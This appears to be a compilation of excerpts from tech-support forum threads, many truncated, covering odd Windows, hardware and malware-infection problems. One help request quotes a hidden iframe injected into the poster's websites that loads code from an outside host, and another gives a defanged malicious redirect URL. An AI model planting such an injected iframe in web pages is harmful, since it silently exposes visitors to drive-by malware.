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Bizarre folder injection issue (virus/trojan?)

Q: Bizarre folder injection issue (virus/trojan?)

This is the strangest thing i've ever seen and there is NOTHING on google about it.

about two weeks about seemingly out of no where almost every subfolder on my D drive (not my main, my C drive is fine) has a folder in it that has been renamed to:


and I mean it's almost in every folder, it's completely broken all my steam games just because it breaks the directory. I'm guessing i'm out of luck because no one I have asked IT pro or not has not heard of this.

I have my D drive root set as my rar temp directory, but it's been that way for years and usually it only makes a few folders with names like $rar. So I have no idea if it's a trojan or what. If anyone has any ideas i'd love to hear it!

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A: Bizarre folder injection issue (virus/trojan?)

Have you downloaded some sort of game that came through as an incomplete downloads or unzip, and caused the _rar_tmp files to appear?

I am not into any type of gaming, however, it appears there is no reputable information coming from the malware community on the issue you are having.

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I need help from techies as I’m facing a strange issue where my browser redirects everytime to a malicious ad/website.
the browser opens a new page redirecting to hxxttp://hidcptqmerifcusymaqddcomolsujibeptsmycmqsrwgrcmywshgnfpjhcc.com/rot.aspx?partner=910345&f=popup-u
and then this redirects to some page on tradeexchange.com, buysellads.com etc
I will be glad if some techie can help me solve my problem. Adw Cleaner, MB Junkware Removal Tool couldn’t find anything neither did windows defender and MSE. Only KIS detects and blocks it but I need to get rid of this. Formatted my laptop since this problem was there earlier but still it is coming even after complete format. Please help me.

Please find this is my problem. It has a JS injection whenever I click anywhere on any website this site opens up which is blocked by my AV. There is some script hidden in my system somewhere which I'm not able to remove.
Please find attached my FST scan and ADWCleaner scan log in the post.

A:Need to remove JS injection Trojan virus permanently

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.===Download Malwarebytes' Anti-Malware from HereDouble-click mbam-setup-2.X.X.XXXX.exe to install the application (X's are the current version number).Make sure a checkmark is placed next to Launch Malwarebytes' Anti-Malware, then click Finish.Once MBAM opens, when it says Your databases are out of date, click the Fix Now button.Click the Settings tab at the top, and then in the left column, select Detections and Protections, and if not already checked place a checkmark in the selection box for Scan for rootkits.Click the Scan tab at the top of the program window, select Threat Scan and click the Scan Now button.If you receive a message that updates are available, click the Update Now button (the update will be downloaded, installed, and the scan will start).The scan may take some time to finish,so please be patient.If potential threats are detected, ensure that Quarantine is selected as the Action for all the listed items, and click the Apply Actions button.While still on the Scan tab, click the link for View detailed log, and in the window that opens click the Export button, select Text file (*.txt), and save the log to your Desktop.The log is automatically saved by MBAM and can also be viewed by clicking the History tab and then selecting Application Log... Read more

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SORRY FOR THE INSANELY eek: ) LONG POST! -its a bad habit of mine i guess- but i'd really appreciate the help! and i thought outlining eveything i've already tried WOULD SAVE TIME-

okay so this is a bit confusing but- when i go to BodyShop i find that my 'SavedSims' and my 'Projects' appear, and with any and all custom content they were made with- BUT that my custom content does not appear on its own (for instance under 'create new projetcs' or when i go to add genetics/clothing and such to a new sim). However when i remove the downloads folder (where this stuff is located) i find that the 'projects' no longer display and that the 'savedsims' appear with blue patches where the custom content they were wearing should be- so obviously the program was somehow ready this stuff from my downloads folder for these two aspects of body shop, but they were not registering themselves in bodyshop- I don't know if any of that actually made sense-

I have never had a problem with this stuff before- until i decided one day to try and reclaim my D disk from the grasp of the pre-installed, trial version of nortonGhost and its huge backups. (10 something GB's). having decided to commit myself to this i also decided to randomly do some springcleaning- i.e. defragmenting and sorting through some bigger files, and uninstalling unecessary things. then eventually i ended up doing a NTFS compression on the sims2 downloads fold... Read more

A:HELP! Sims2: rather Bizarre, downloads folder- bodyshop issue-have tried many things!

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Hi there,

Following an apparently successful spybot scan which identified and fixed a number of trojans/viruses causing problems to my laptop I ran a search which found the following file.

name: NEW FOLDER.EXE-08D3D517.pf
in folder: C:\WINDOWS\Preftech
size: 53KB
type: PF File

Having done a little research I understand that some of the symptoms I was experiencing were caused by the new folder.exe virus. Can anyone please confirm that the above file is connected to the virus and instruct me on how to proceed with dealing with it.

Many thank in advance.

A:new folder virus/trojan issue

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Hi guys, I'm new to this forum; But I recently encountered a problem while injecting a .dll into a program. The error message is what the title says and I tried a lot of injectors and it returned the same error.

Here's what I tried:
Upgraded windows 8.1 to 10
Unblocked the DLL
Different injection methods

None of these worked, help would be appreciated.

A:[DLL] Injection Method used returned NULL (Injection failed).


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Hi, anyone can help me preventing host header injection issue for my website (asp.net 4.0 IIS 7). it is hosted in shared environment 

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Hello,A couple websites which I work with has been hit with this:<iframe src="http://a3h.ru:8080/ts/in.cgi?pepsi82" width=125 height=125 style="visibility: hidden"></iframe;>After consulting a website specific to helping out with those types of problems, they told me to get my computer checked here.I have done two malware & virus scans along with a Hikack This log...all below.I am VERY frustrated and would like to get this over with.Thanks,DN---Malwarebytes' Anti-Malware 1.38Database version: 2413Windows 5.1.2600 Service Pack 37/12/2009 10:35:08 PMmbam-log-2009-07-12 (22-35-08).txtScan type: Full Scan (C:\|D:\|F:\|)Objects scanned: 296131Time elapsed: 56 minute(s), 39 second(s)Memory Processes Infected: 0Memory Modules Infected: 0Registry Keys Infected: 0Registry Values Infected: 0Registry Data Items Infected: 0Folders Infected: 0Files Infected: 0Memory Processes Infected:(No malicious items detected)Memory Modules Infected:(No malicious items detected)Registry Keys Infected:(No malicious items detected)Registry Values Infected:(No malicious items detected)Registry Data Items Infected:(No malicious items detected)Folders Infected:(No malicious items detected)Files Infected:(No malicious items detected)---KASPERSKY ONLINE SCANNER 7.0 REPORT C:\Documents and Settings\Derek\Local Settings\Temp\~TM30.tmp Infected: Backdoor.Win32.Zdoogu.em 1 C:\Documents and Settings\Derek\Local Settings&#... Read more

A:Trojan/Maybe SLQ Injection - Logs

Hello #41baby and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far.Upon completing the steps below another staff member will review and take the steps necessary with you to get your machine back in working order clean and free of malware.If you have already posted a DDS log, please do so again, as your situation may have changed.Use the 'Add Reply' and add the new log to this thread.Thanks and again sorry for the delay.We need to see some information about what is happening in your machine. Please perform the following scan:Download DDS by sUBs from one of the following links. Save it to your desktop.DDS.scrDDS.pifDouble click on the DDS icon, allow it to run.A small box will open, with an explaination about the tool. No input is needed, the scan is running.Notepad will open with the resu... Read more

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I'm trying to successfully deploy Windows 10 on a Dell OptiPlex 790 in my lab environment in order to push Windows 10 out to several of these PCs currently in production. Despite the fact that Dell does not offer a driver pack for Windows 10 for the 790, an upgrade to Windows 10 using the Windows Update method works fine; however, when I run a LiteTouch install, the keyboard and mouse do not work unless I am using a PS2 keyboard and mouse.

Upon further investigation, I found that the "USB Root Hub" device drivers are not properly installed on the deployed OptiPlex 790. My steps for a solution thus far have produced no meaningful results. I have tried the following:

1. From a working installation of Windows 10 on an OptiPlex 790, performed a full driver backup/export and imported into MDT 2013 Out-of-Box Driver folder for model-specific-injection task sequence. After deployment completed successfully with 0 errors and 0 warnings, the drivers are still not loaded and keyboard/mouse are nonfunctional.

2. Created an application package to silently install Intel Chipset during the LiteTouch OS installation, which includes the proper USB drivers for the OptiPlex 790. Results are the same; yet if I run the install after deployment, the drivers are installed successfully.

I'm just about out of ideas on this one, but I KNOW there has to be something that can work. It doesn't make sense that a manual install of the chipset can produce positive results but the same cannot... Read more

A:Deployment Issue - MDT 2013 / OptiPlex 790 / Driver Injection

I have a Dell OptiPlex 360 with Win10 and a Dell OptiPlex 755 with Linux Mint 17.2, both older and are the standard size cases. I've found with most computers that have the PS/2 ports also require a BIOS setting to Enable Legacy USB to get built-in support for USB 2.0 ports and USB keyboards and mice plugged into them. So far I've not seen BIOS support for USB 3.0 ports, have required software installed in/supported by the Operating System. Because of the change of some motherboards in leaving off the PS/2 ports I have changed my KVM from the PS/2 type to USB type.

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I got infected by a trojan (I think) through downloading keygen. This disabled all my internet activities. I cannot go online at all.

Please see my log. Thanks for help in advance.

DDS (Version 1.1.0) - NTFSx86
Run by LamCHop at 21:22:47.87 on 20/12/2008
Internet Explorer: 7.0.5730.11 BrowserJavaVersion: 1.6.0_07
Microsoft Windows XP Home Edition 5.1.2600.2.1252.1.1033.18.503.256 [GMT -8:00]

============== Running Processes ===============

C:\WINDOWS\system32\svchost -k DcomLaunch
C:\WINDOWS\system32\svchost -k rpcss
C:\WINDOWS\System32\svchost.exe -k netsvcs
C:\Program Files\Intel\Wireless\Bin\EvtEng.exe
C:\Program Files\Intel\Wireless\Bin\S24EvMon.exe
C:\WINDOWS\system32\svchost.exe -k NetworkService
C:\WINDOWS\system32\svchost.exe -k LocalService
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe
C:\Program Files\Intel\Wireless\Bin\RegSrvc.exe
C:\WINDOWS\system32\svchost.exe -k imgsvc
C:\Program Files\Symantec AntiVirus\Rtvscan.exe
C:\Program Files\Apoint2K\Apoint.exe
C:\WINDOWS\system32\thpsr... Read more

A:Trojan injection disabling connection to internet. Please help!!!

Hello, and welcome to TSF.

I am currently reviewing your log. I will be back with a fix for your problem as soon as possible.

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Please be patient with me during this time.

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The issue is simply everytime I've used Etrust virus scan when in Internet explorer (have to be) I minimize it, and when I bring it to normal it's fine, but minimize it and bring it up when it's in the Java folder it freezes, should I do an individual scan on the Java folder to see if it has viruses or just make it a special do not scan folder and un-click it when scanning?

A:Solved: Etrust Viruscan does not like Java Program folder: not virus issue but scanning issue

Hi, Often the applets stored from Java usage will trigger either a detection or an issue as you are seeing from antivirus scanners.

I'd suggest clearing the Java cache: see the attached screenshot, your version may be slightly different but you should be able to see where to look, and what to do. (The attached pic is from a slightly older version of the Java...the steps below are up to date, though)

Control Panel> (Switch to Classic View)> open Java

Find the Settings tab/button, and open that...then find the Delete Files button and click that.
It's just deleting the temporary files left from Java applet usage.

Then, after clearing the cache, run your scan again and see if it works correctly.

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Okay, call me neurotic, obssessive-compulsive, or anything else, but my computer is having trouble remembering my folder viewing settings when it comes to specific folders. My Recycle Bin and Games folders are the main two. I want my Recycle Bin over on the left side, sized to about 150 x 150 pixels (approximate). It keeps resetting to full screen at random, usually if I haven't opened it up in 24 hours (even if there's nothing in there). My Games folder does the same thing when I want it about 200 x 200 pixels over on the right side of the screen near the top. That folder also resets the file view to Large Icons when I have every folder on my entire computer set to List. My Photos folder used to do it too, but I had to move it into a different folder, so now it doesn't have an excuse anymore.

These are the only two folders that do this, and I'm at a total loss as to how to stop them. It's really beginning to tick me off too. Can anyone help me figure out how to make it stop?

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Windows XP IE8 no problems for since IE8 upgrade some time ago.

starting yesterday, a folder appeared at the bottom of my Favorites.
Click to expand...

I deleted it, it came back, I deleted it and came back as:
Click to expand...

Any ideas?

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Recently, my upload speed and general computer speed has been quite low. Until today, I have not received any notifications from Avast. It is a different .exe each time I get the avast message.Basically,The virus is classified as Win32:Clicker-F [Trj] and it is in my temp folder.Each time I get the virus alert, it is a different file.The file is ctv1*****.exe - The * represent different numbers every time.The virus is classified as a trojan.EDIT: I removed a few processes in my process list that have been known to have virus issues. One in particular was called 0.232324445.exe (Not exactly the same, but numbers like that), I figured that just screamed bad, I google'd it, found nothing, so I delete it, it appeared to have stopped, for now at least. I will update this as I go along. If theres any other important things I should know, please post them. Thanks.EDIT 2: After checking, my upload speed, for files as small as 1mb, is still very slow. I checked on speedtest, and my internet speed is where it should be. I don't know why it is still so slow, maybe the virus is still here?Here is my HiJackThis log.QUOTELogfile of Trend Micro HijackThis v2.0.4Scan saved at 6:52:27 PM, on 09/07/2010Platform: Windows XP SP3 (WinNT 5.01.2600)MSIE: Internet Explorer v8.00 (8.00.6001.18702)Boot mode: NormalRunning processes:C:\WINDOWS\System32\smss.exeC:\WINDOWS\system32\winlogon.exeC:\WINDOWS\system32\services.exeC:\WINDOWS\system... Read more

A:Continued virus injection? HiJackThis log inside

Hello and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far.Please refrain from running tools or applying updates other than those we suggest while we are cleaning up your computer. The reason for this is so we know what is going on with the machine at any time. Some programs can interfere with others and hamper the recovery process. Please also continue to work with me until I give you the all clear. Even if your computer appears to act better, you may still be infected.Even if you have already provided information about your PC, we need a new log to see what has changed since you originally posted your problem.Once we start working together, please reply back within 3 days or this thread may be closed so we can help others who are waiting.We need to create an OTL report,Please download OT... Read more

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My Virus Protection caught this Virus Threat: "exploit script injection-367"   Unfortunitality my staff member was not so lucky and now their computer is infected.    Searched the internet for a solution.   May be related to SQL database on our website but need more information...  not much solution on this one.Anybody have a solution of what causes this?    Also would like you know your best virus software that actually works on eliminating any viruses.Thanks in Advance,Ann

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recently, i found an older mic in my closet, and being an avid counter-strike player, i try to get it working.

so i've enabled the mic in windows, tested it in windows, works great. however, when i go to use it in cs(enabled, yes) it gives me a quiet, garbled and delayed repeat of my audio output, such as, if i have the mic on, and i shoot a gun, about half a second later, it will come out garbled and quiet from my mic.

this would be kind of normal, except i am using headphones.

i have a dell c600 latitude laptop, a generic creative mic and panasonic headphones, and i am running windows xp.

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To start off, I had Windows 7 Professional loaded and working on a HP dv6700CTO. I upgraded from Windows Vista Ultimate.

I had win7 working for about two days until one morning I opened my laptop lid and it gave me a black screen with the error "Operating System not found." I started the laptop up again and it got to the screen stating Starting Windows and just hung there. I tried to reinstall win7 from the original bootable flash drive that I used and when I get to choosing the hard drive to install/format, It can't detect my computer's hard drive. I then tried using a vista dvd to to access my hard drive but it hangs on a black screen with only the mouse pointer appearing after "Windows is loading files." Every now and then the same thing happens when using the win7 flash drive. I'm not sure if this is an issue with my hard drive or something else, I just received this hard drive as a replacement for a failed one a day prior to installing win7.

Any help would be much appreciated

A:bizarre issue

Sounds like a bad hard drive. What is the brand?

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I have ran continuous spyware terminator and Spybot Search and Destroys and these keep popping up


System Security 2009 is now for some strange reason on my desktop. I never installed in. It keeps trying to run on my system and tell me to buy it and everything....

In case the file I attached is messed here is the hijick this report

Please help! This is a crazy issue I have never seen before.

A:Major TROJAN and MALLWARE ISSUE!! (Trojan.Inject.qyz, Worm.Koobface, Virus.Sality.Y)

Hello and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. If you have not done so, include a clear description of the problems you're having, along with any steps you may have performed so far.Upon completing the steps below another staff member will review and take the steps necessary with you to get your machine back in working order clean and free of malware.If you have already posted a DDS log, please do so again, as your situation may have changed.Use the 'Add Reply' and add the new log to this thread.Thanks and again sorry for the delay.We need to see some information about what is happening in your machine. Please perform the following scan:Download DDS by sUBs from one of the following links. Save it to your desktop.DDS.scrDDS.pifDouble click on the DDS icon, allow it to run.A small box will open, with an explaination about the tool. No input is needed, the scan is running.Notepad will open with the results.Foll... Read more

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It's like the num pad decimal character no longer exists. I've tried using a different keyboard and even used the on screen keyboard; no matter what I cannot type a . using the num pad. Any ideas?

Thank in advance,

A:Bizarre Numpad issue

Hi Tim, welcome to TSF !

Make sure numlock is on.

Check the default input language : start => run => intl.cpl. Click on the language tab then on details and make sure the default input language corresponds to your keyboard layout. You can add more languages if needed.

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At some point, something hidden or not apparent is stealing the focus of other windows. My screensaver no longer turns on, and I usually use alt+tab to navigate. When I open alt+tab, it will only be available for a split second before it disappears as whatever this program is takes focus.

It's odd because I can type just fine, but when I open a new program it does not have focus (ie appears in the background and I have to navigate to it). And if I open a full-screen slide-show it is forced to downsize.

I have stopped services, programs, processes, started new profiles, to no avail. I haven't tried safe-mode yet, but I'd imagine it probably wouldn't do it there because I don't think this is a windows-based process stealing the focus. Below is my HijackThis log. Any suggestions?

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 7:30:32 AM, on 11/2/2008
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16735)
Boot mode: Normal

Running processes:
C:\Program Files\AVG\AVG8\avgrsx.exe
C:\WINDOWS\system32\ZoneL... Read more

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Hi all,

Since the hard drive got replaced on my laptop about a year ago, I've only had one working USB port on my laptop. This hasn't been an issue, as I've coped by using a USB splitter. Unfortunately, my laptop has recently started to behave differently depending on what I plug into the splitter.

For example, speakers always work when plugged into the splitter, as does my Numark Mixtrack Pro II DJ controller. However, I can't get any mouses to work. My laptop also doesn't detect my phone when plugged into the splitter.

I've tried removing the splitter and plugging a mouse/ phone directly into my laptop and it still doesn't work, so the problem clearly isn't the splitter. I've tried reinstalling the USB driver things in device manager, but I'm still having the same issue.

Wtf is going on? Running Windows 7 Home Premium 32bit, if that's relevant.

A:Bizarre USB port issue

I would suspect that the USB port is unable to supply the power required by some of the devices. Are you using a powered hub ("splitter")? There may have been some damage to your computer during the hard disk change that has cause this and the failure of the other USB ports.

Welcome to the forum.

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OK. So my computer will no power on inside my house specifically. It turns on fine at best buy or even in my neighbor's house, but not at my house. Yes I am using a surge protector. Yes I tested all the outlets in the house. Yes I checked my outlets with a volt/ohm meter. Everything seems to check out and all my other devices work perfectly. Before I moved to this house the computer worked well in my old apartment for months. Also, I have already rellaced the psu and the cmos battery, and yes I have still only been able to power it on using outlets in other buildings besides my house. Any ideas? I am getting so frustrated.

A:Bizarre power issue...

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Hi everyone...

I have a really weird thing going on in both IE and Firefox. My Facebook profile page is "stuck" on a version from a few days ago. I have tried EVERYTHING to refresh it...I have:

1. Cleared all caches and cookies
2. Deleted all sorts of temp files
3. Done a "hard refresh" in both browsers
4. Contacted my ISP, who had me a) unplug my cable modem for 30 secs, b) uplug my router for 30 secs, c) flush my DNS cache, and d) reboot

Nothing. Nada.

It happens only at home--when I'm on my laptop at a coffeeshop or on my computer at work, then I can access the profile just fine. It's something on this computer only.

I know my Facebook profile isn't all that important, but I'm just stymied as to why I can't get a web page to refresh no matter what. And get this--my wife, when she logs into her Facebook page on the same computer--hers refreshes instantly.

AARRRGHH...any thoughts?


A:Bizarre browser issue

Have you tried contacting Facebook?

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I received a response email from a good friend this morning, and the email she sent only showed up on my Samsung tablet. I have Comast.net email. I checked all other options...my iPhone, my MacBook, my desktop Mac and the actual Comcast.net website where the webmail account originates. Nothing came in from her at any of those places (including Spam or Trash folders), but I did get the email on my tablet in the email program I set Comcast.net up in. This has never happened before, and I don't understand how it could happen. Keep in mind her email was a response to mine sent yesterday, so it isn't even like she started with a fresh email addressed wrongly somehow.

Any thoughts?

I'm a bit nervous with all the talk of a huge Android hack, since my tablet is obviously Android based, although my other devices are all Apple.

Should I be worried about some sort of hack or is it just a fluke that will likely not happen again?

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I have an HP pavillion with a 740b dvd burner. Lately, it's developed an odd issue where it won't burn to DVDs.
It will burn CDs read CDs and DVDs and do the lightscribe thing, but it won't burn DVDs.

I thought the drive might be bad, so I installed another working DVD burner and it is now exhibiting the same symptoms. The 740b is master, the second drive is slave.

I deleted all the dvd burning related software, including all my video editing software. I've deleted the drive through device manager and by hand in the registry, but the problem persists.

The fact that both drives are not functioning in the same manner leads me to believe this is a software issue.

Can anyone help me? I really need this drive working.

I recently added Norton 360 v2. I don't know if that might be affecting things.

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My MS keyboard is behaving weirdly. When I press shift+2, it gives " instead of @

Likewise other keys have their symbols swapped.

Problem came up after installing windows 8 but am not too sure I should be blaming MS for it.

Is it software or hardware issue? Any ideas?

A:Bizarre keyboard issue

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What's happening is when i go to insert an Autotext entry, the autotext usually just appears as lots of squares like you see in the insert symbol section i.e. &#8301;&#8301;&#8301;&#8301;&#8301;&#8301;&#8301;&#8301;&#8301;&#8301;. It also sometimes has letters mixed in too.

I've included a few screen shots to demonstrate. To try and fix this issue, i have deleted the normal.dot file and restarted Word and also copied a version of normal.dot from a working Word version and still no go.

We are all using Office 2003 with all the latest updates and patches. The strange thing is, it has affected half the PCs in the office which includes 2 older workstations and a 3 month old workstation all of which are running XP SP2.

This problem only occurs in Word.

Any help would be appreciated.


A:Bizarre autotext issue

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Dell Lattitude E5530.
1. When battery installed, no adapter is found. Battery won't charge. Computer will boot but not charge. BIOS says "NO ADAPTER FOUND"2. When battery removed, adapter is found. Computer will boot. BIOS says "90W adapter".3. When placed on Docking Station with Battery, no adapter found. Boots but won't charge.4. When placed on dock with no battery, won't boot. If I plug an adapter into the dock and another into the computer then it boots. BIOS then says "90W Adapter".5. If I boot using the adapter, then plug in battery, battery LED goes out and it sees no adapter and shows battery not charging.6. If I boot using the battery, then plug in the adapter and remove the battery, it shuts off and I have to reboot it.What I've tried:Updated all drivers.Cannot update BIOS because this requires a partly charged battery AND an adapter. Comp won't see adapter when battery is plugged in.I have tried 4 different 90W DELL adapters from Latitude computers (co-workers have same computer).I have tried 2 other batteries besides the one that came with it.Nothing makes any difference. No matter what combo of adapters and batteries I use, the symptoms remain the same.
Any suggestions would be most welcome!


A:Bizarre power issue.

If you haven't changed the DC jack, that' s next:
If you have, to no effect -- or replace it to no effect, the mainboard is the faulty part.

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My network completely collapsed for no good reason after taking the client machine apart and putting it back together exactly the same way. It worked perfectly before that.

In trying to set it back up, nothing worked, and I found it easier to uninstall ALL protocols and services, (apart from TCP/IP), and network adapters from both machines, and re-installing them to give myself a clean slate to work from.

OK, with that done, the folowing protocols are installed...

Client for MS networks
QOS packet scheduler
File and printer sharing for MS networks
Internet Protocol (TCP/IP)
IPX/SPX/Netbios compatible transport protocol.

The last two are installed purely to support a game or two that seems to prefer networking with them but otherwise aren't there for anything.

Windows firewall was then turned OFF on both machines, and the remaining firewall on "Server" (Sygate personal pro) was set to allow all, rendering it harmless.

OK, First the network setup wizard was run on the internet machine ("Server"). It was then run on the client machine ("client")

Both machines can ping each other on the network with no problems. A portscan of client helped me find out I could telnet succesfully to port 17 (qotd) of client, which I did because I was bored. No problems there then!

The network MSHOME, on both machines, shows that both "Client" - and "Server" - are connected

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A:bizarre xp pro network issue

Change your attachment IMMEDIATELY. Never publish your ISP's IP-address!
And also don't publish your NIC's MAC-address (see my xx-xx-xx etc. below)

Using a router and fixed IPs, my ipconfig /all looks as follows:

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . .: pc's name
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : xx-xx-xx-xx-xx-xx
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : (my PC's IP)
Subnet Mask . . . . . . . . . . . :
Default Gateway . . . . . . . . . : (my router's IP)
DNS Servers . . . . . . . . . . . : (ditto)

All my other PCs are the same except for their own IP-address.

In your attachment I noticed incongruencies between the 2 setups:
Client has DHCP enabled, Server not
Both have IP Routing and Wins Proxy enabled, this should be DISabled.
Server has no Default Gateway.

I think I gave you this link already, but look again:
Have a look at the attachment here:

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Hi all,

Since the hard drive got replaced on my laptop about a year ago, I've only had one working USB port on my laptop. This hasn't been an issue, as I've coped by using a USB splitter. Unfortunately, my laptop has recently started to behave differently depending on what I plug into the splitter.

For example, speakers always work when plugged into the splitter, as does my Numark Mixtrack Pro II DJ controller. However, I can't get any mouses to work. My laptop also doesn't detect my phone when plugged into the splitter.

I've tried removing the splitter and plugging a mouse/ phone directly into my laptop and it still doesn't work, so the problem clearly isn't the splitter. I've tried reinstalling the USB driver things in device manager, but I'm still having the same issue.

*** is going on? Running Windows 7 Home Premium 32bit, if that's relevant.

A:Bizarre USB port issue

Hi and Welcome to TSF!

What happen to the USB ports? Were they blown out?

Please follow this guide here to perform a System File Check of Windows:

How to run SFC /scannow from Command Prompt | Tech Support Forum

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I'm not sure when it started since I don't spend much time in this menu (though I'm sure it worked before), but my Settings app currently looks like the attached picture (that Fez icon is my user icon, if you were curious). It's basically illegible. When I try to change the color scheme, nothing really happens. Most of my apps work fine (and this issue is pretty much non-existent in Desktop mode), but many of the settings are basically inaccessible to me currently. Any ideas short of a system restore or something similar?

A:Bizarre issue with settings app

Turns out this was an issue with my Nvidia drivers. The most recent ones cause this issue but when I rolled back to an older version (from June or July) the problem was gone.

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I use a Dymo Labelwriter 450 Turbo for printing barcode labels for my Amazon business. In the past, I had a Vista desktop and had no problem using the snapshot tool from the edit menu on Adobe Acrobat reader (amazon loads the labels into a PDF).

As soon as I upgraded to a new Lenovo Windows 10 system, Adobe would either print the labels on the left margin cutting off the barcode (even though the label # was indicated correctly and print preview showed the label centered, or I would get an error message stating that no pages were selected to print. I had clicked on select graphic button and wasn't printing a page but a single label. Dymo tech support was of absolutely no help as they had said they aren't supporting printing off PDF's even though, up until this time, Amazon sellers were recommending this label printer. That is going to quickly end. Meanwhile I have a doorstop instead of a label printer. Total waste of money and I suspect that I'll have to buy a laserprinter (I have an inkjet and Amazon only accepts laser or thermal printers) and print off Avery Sheet labels. It appears that unless you get a bar code scanner and use the Amazon software set up for that, you can't use this Dymo printer for Windows 10, which is ridiculous as that is the current version.

I also get the feeling that the Dymo Printer sees the labels as portrait even though print preview shows them as landscape because the labels cut off on the left where the portrait border... Read more

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For some reason, one of our users suddenly cannot reposition the cursor in emails by using the arrow keys. The delete key does not work, either. If he wishes to reposition the cursor, he has to use the mouse. The backspace key DOES work. He says that this problem is exclusive to outlook, and thinks he inadvertantly changed a setting, but I can't seem to find one that applies. Any ideas?

Thanks in advance!!

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I'm getting a bizarre off-and-on issue in Windows 7. Every now and again when posting here and elsewhere, my "S" key refuses to type...both on my Bluetooth and my wired PS/2 keyboard.
It only happens now and again - very weird if you ask me...and I know you aren't....LOL
I get around it by typing f instead of S and then using IESpell to correct it.
For this post I had to compose everything in Notepad first and then CCP. Next time it will most likely work.
Using IE8 by the way.

Comments anyone?

A:Bizarre Intermittent Typing Issue

Do you have the same problem in notepad or just IE8? I'm using Firefox 3.0.4 and not having that prob. IE8 keeps being a pain for me. Hope they get it working right.


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Hi, currently have the final Windows 7 on two machines and Office 2007. My outlook works great on one machine and cannot connect with the pop3 or smtp servers on the other. They are setup identically. I tried a repair and Outlook said it could not connect with either. Tried this on both of my email accounts on different providers (Yahoo and XO). Again, works fine on one machine but not on the other. I have my data (pst) files on an external 500GB drive that I use between different machines.

Any clues.

A:Bizarre Outlook 2007 and Win 7 issue

Are you trying to share this same PST file between both machines?

If so, does the PST file open OK, on the second machine when the other machine does NOT have the PST file open?

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Hey well.... Today i just got on my lappy, and its all normal, then im watching some vid. online, and my computer freezes... Its not like a scree nfreeze, but i cant minimize the window, but i can make those blue-boxes (on the main screen) cuz the window wasnt maximized, and i hit ctrl+alt+delete, to open up Task Manager, and then i wait a few seconds, and then its a black scree, and then my mouse is on it, i then wait a few moments, and i had to hit the power button to turn off my lappy... I restart- it restarted normally, with normal speed and all, then it freezes a little bit later againt, and atm, this is the only moment where my laptop hasnt frozen !

And im hoping it wonr freeze again... but im just wondering, could it be a registery problem? I mean, i dont really let anything at start-up get too-out of-control, i go into msconfig and manage all that i want to start etc. etc... But, when i scanned my lappy with Windows Defender (Full scan) it came up with like 4 different things, the certain files were having unwanted things(according to Defender...) And so, is it because of those files, all of those files are identical, and they are also from Safari... they have something to do with Safari,(im on Vista x64, but i like safari 4, think its the fastest )

Any help?
Any Reg-Cleaners? (THat work with x64 Bit) ?

A:Totally Bizarre Freezing Issue

Hello DarkDavil,
You could try to clean out your registry and also scan for malware. Follow the links, they are both free but be sure to backup your registry when promted. Good luck and post your results.


CCleaner - Download

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I've been running w7 as a work machine for a month or two now, currently on 7100.

I have XP dual booted. I have Opera on both. Opera installed last year on XP and a month ago on W7

The bizarre problem, I copied over some profile stuff for opera to the w7 install.

I booted into XP loaded up opera and all my settings were nowhere to be found, digged around a little and found that Opera was calling for the settings from W7! c:\users\roaming\appdata blah blah blah.

Since that doesn't exist on my XP install, it created it's own folder there. I uninstalled opera, reinstalled and the default location to find the user data is mimicking a user directy from W7? wtf is this about.

The XP and W7 are on entirely different hard drives, I fresh installed W7 off a usb disk. XP is 32 bit W7 is 64 bit.

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So I've recently built a new machine for gaming and work etc and I was having some issues which I thought I'd nailed down to being related to my SSD which I was running the OS off of. I wiped the ssd and the HDD I was using for storage and reinstalled the OS on the HDD, leaving the SSD out of the box entirely. It was working fine for a day until this morning. When I turned it on it gave me the "Select OS" prompt as if I had multiple OSs installed on different drives. Both options were Win 7 but the second option gave me a "device cannot be found" error as if it was looking for the original win 7 install that was on the SSD. I'm at a loss for what to do.

A:Windows 7 bizarre issue, please read

Hello, are you saying the OS is crashing and you can't get back on or do you need the other options gone so it can just auto boot without the prompt?

If it's crashing, it sounds like a driver issue. On your motherboard do you have two different SATA ports? Like one is Intel and the other Gigabyte (just making this up)? But the solution is to make sure you install the drivers for them from the CD that came with your motherboard. You can try switching to the other and see what happens.

Try swapping cables too just a to be sure. Follow your motherboard recommendation for the proper BIOS setting for SATA if you haven't.

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I was recently tinkering with my system and when it came to pressing the power on button nothing happened. I opened up the case and the green light on the mobo was on so I knew power was getting there. I assumed it was a power switch issue so I shorted out the power switch pins on the mobo and all was well.

